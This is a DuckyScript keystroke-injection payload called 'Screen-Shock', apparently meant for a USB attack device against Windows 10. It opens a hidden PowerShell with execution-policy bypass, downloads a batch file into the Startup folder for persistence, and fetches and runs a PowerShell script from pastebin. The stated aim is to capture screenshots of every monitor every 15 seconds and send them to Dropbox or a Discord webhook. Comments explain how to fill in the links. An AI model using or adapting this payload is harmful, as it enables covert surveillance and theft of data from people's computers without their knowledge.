17 lines
839 B
Plaintext
17 lines
839 B
Plaintext
REM Title: Screen-Shock
|
|
|
|
REM Author: atomiczsec
|
|
|
|
REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)
|
|
|
|
REM Target: Windows 10
|
|
|
|
DELAY 2000
|
|
GUI
|
|
DELAY
|
|
STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
|
|
ENTER
|
|
|
|
REM Remember to replace the link with your pastebin shared link for the intended files to download
|
|
REM Also remember to put in your discord webhook in c.ps1
|
|
REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH |